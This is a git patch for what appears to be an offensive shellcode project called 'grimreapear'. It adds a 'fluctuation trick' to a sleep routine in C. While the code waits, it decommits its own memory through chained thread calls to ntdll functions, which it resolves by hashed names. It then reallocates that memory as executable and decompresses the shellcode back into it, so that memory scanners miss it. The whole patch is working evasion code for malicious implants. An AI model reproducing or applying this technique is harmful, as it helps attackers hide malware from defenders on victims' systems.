From 10bcd8d67894e89c641dca25fd8c159aa81ede61 Mon Sep 17 00:00:00 2001
From: realoriginal <ajhson001@gmail.com>
Date: Wed, 20 Mar 2024 22:24:59 +0000
Subject: [PATCH] grimreapear: Commits fluctuation trick

---
 Entry.c |  20 ++++++-----
 Obf.c   | 103 ++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 2 files changed, 112 insertions(+), 11 deletions(-)

diff --git a/Entry.c b/Entry.c
index a123aa0..b746419 100644
--- a/Entry.c
+++ b/Entry.c
@@ -14,17 +14,19 @@
  *
  * Purpose:
  *
- * Starts a named pipe server and awaits on the connection or until
- * a timeout is reached. When a connection is not made and a timeout
- * is not reached, the shellcode will remain obfuscated.
- *
- * If a connection is made, the shellcode will also attempt to obfuscate 
- * itself during read/write operations. Once a connection is lost or a 
- * timeout is reached during this R/W loop the shellcode will free itself 
- * from memory.
+ * Tests the chain proof of concept
  *
 !*/
 D_SEC( B ) VOID WINAPI Entry( VOID )
 {
-	/* Do stuff here */
+	LARGE_INTEGER	Lin;
+
+	/* Zero otu stack structures */
+	RtlSecureZeroMemory( &Lin, sizeof( Lin ) );
+
+	/* Start the wait! */
+	ObfNtWaitForSingleObject( NtCurrentThread(), FALSE, NULL );
+
+	/* Zero out stack structures */
+	RtlSecureZeroMemory( &Lin, sizeof( Lin ) );
 };
diff --git a/Obf.c b/Obf.c
index df5189b..02fb1c5 100644
--- a/Obf.c
+++ b/Obf.c
@@ -522,6 +522,10 @@ D_SEC( B ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOO
 	PVOID				Wrk = NULL;
 	PVOID				Tmp = NULL;
 
+	HANDLE				Th1 = NULL;
+	HANDLE				Th2 = NULL;
+	HANDLE				Th3 = NULL;
+	HANDLE				Th4 = NULL;
 	HANDLE				Evt = NULL;
 	LPVOID				Mem = NULL;
 
@@ -630,8 +634,91 @@ D_SEC( B ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOO
 		/* Set the new pointer */
 		Cmp = C_PTR( Tmp );
 
+		/* Call NtFreeVirtualMemory */
+		Nst = ThreadSetCallInternal(
+				&Th1,
+				Evt,
+				Sfp,
+				Sfl,
+				PeGetFuncEat( PebGetModule( OBF_HASH_MAKE( "ntdll.dll" ) ), OBF_HASH_MAKE( "NtFreeVirtualMemory" ) ),
+				4,
+				NtCurrentProcess(),
+				&Mem,
+				&Len,
+				MEM_DECOMMIT
+		);
+
+		if ( ! NT_SUCCESS( Nst ) ) {
+			/* Abort! */
+			break;
+		};
+
+		/* Call NtWaitForSingleOBject */
+		Nst = ThreadSetCallInternal(
+				&Th2,
+				Th1,
+				Sfp,
+				Sfl,
+				PeGetFuncEat( PebGetModule( OBF_HASH_MAKE( "ntdll.dll" ) ), OBF_HASH_MAKE( "NtWaitForSingleObject" ) ),
+				3,
+				Handle,
+				Alertable,
+				Timeout
+		);
+
+		/* Failed to spawn call to NtWaitForSingleObject! */
+		if ( ! NT_SUCCESS( Nst ) ) {
+			/* Abort! */
+			break;
+		};
+
+		/* Call NtAllocateVirtualMemory */
+		Nst = ThreadSetCallInternal(
+				&Th3,
+				Th2,
+				Sfp,
+				Sfl,
+				PeGetFuncEat( PebGetModule( OBF_HASH_MAKE( "ntdll.dll" ) ), OBF_HASH_MAKE( "NtAllocateVirtualMemory" ) ),
+				6,
+				NtCurrentProcess(),
+				&Mem,
+				0,
+				&Len,
+				MEM_COMMIT,
+				PAGE_EXECUTE_READWRITE
+		);
+
+		/* Failed to spawn a call to NtAllocateVirtualMemory */
+		if ( ! NT_SUCCESS( Nst ) ) {
+			/* Abort! */
+			break;
+		};
+
+		/* Call RtlDecompressBufferEx */
+		Nst = ThreadSetCallInternal(
+				&Th4,
+				Th3,
+				Sfp,
+				Sfl,
+				PeGetFuncEat( PebGetModule( OBF_HASH_MAKE( "ntdll.dll" ) ), OBF_HASH_MAKE( "RtlDecompressBufferEx" ) ),
+				7,
+				COMPRESSION_FORMAT_XPRESS_HUFF | COMPRESSION_ENGINE_MAXIMUM,
+				Mem,
+				Len,
+				Cmp,
+				Cln,
+				&Len,
+				Wrk
+		);
+
+		/* Failed to spawn a call to RtlDecompressBufferEx */
+		if ( ! NT_SUCCESS( Nst ) ) {
+			/* Abort! */
+			break;
+		};
+
 		/* Signal and wait for the last call to complete */
-		Nst = Api.NtSignalAndWaitForSingleObject( Evt, /* Put ending thread handle here */ NULL, FALSE, NULL );
+		Nst = Api.NtSignalAndWaitForSingleObject( Evt, Th4, FALSE, NULL );
 
 		/* Failed to signal/and or wait on the thread */
 		if ( ! NT_SUCCESS( Nst ) ) {
@@ -639,7 +726,7 @@ D_SEC( B ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOO
 		};
 
 		/* Query the exit status of the NtWaitForSingleObject call */
-		Nst = Api.NtQueryInformationThread( /* Put blocking thread handle here */ NULL, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL );
+		Nst = Api.NtQueryInformationThread( Th2, ThreadBasicInformation, &Tbi, sizeof( Tbi ), NULL );
 
 		/* Failed to query its basic information */
 		if ( ! NT_SUCCESS( Nst ) ) {
@@ -650,6 +737,18 @@ D_SEC( B ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOO
 		Nst = Tbi.ExitStatus;
 	} while ( 0 );
 
+	if ( Th4 != NULL ) {
+		Api.NtClose( Th4 );
+	};
+	if ( Th3 != NULL ) {
+		Api.NtClose( Th3 );
+	};
+	if ( Th2 != NULL ) {
+		Api.NtClose( Th2 );
+	};
+	if ( Th1 != NULL ) {
+		Api.NtClose( Th1 );
+	};
 	if ( Cmp != NULL ) {
 		MemoryFree( Cmp );
 	};